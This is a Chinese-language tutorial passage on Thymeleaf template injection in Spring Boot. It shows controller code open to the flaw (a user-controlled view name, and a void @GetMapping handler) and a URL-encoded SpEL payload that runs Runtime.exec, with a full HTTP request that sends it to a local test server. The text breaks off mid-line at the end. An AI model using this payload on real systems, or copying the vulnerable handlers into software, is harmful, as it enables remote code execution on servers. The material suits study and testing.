一、日常编码中常见的两种漏洞场景
1.1 模板参数外部可控
@RequestMapping("/path")
public String path(@RequestParam String lang) {
return lang ;
}
实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。
1.2 使用@GetMapping
注解 且没有return
根据spring boot定义,如果controller无返回值,则以GetMapping
的路由为视图名称。
当然,对于每个http
请求来讲,其实就是将请求的url
作为视图名称,调用模板引擎去解析。
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
logger.info("Retrieving " + document);
}
tips:没有return 就是返回值为viod。
二 、如何构造payload
通过**${}**::.x构造表达式会由Thymeleaf去执行
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
GET /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659928725
Connection: close
payload构造
注意: 模板名称后存在拼接的payload必须以 ::.x结尾
package com.thym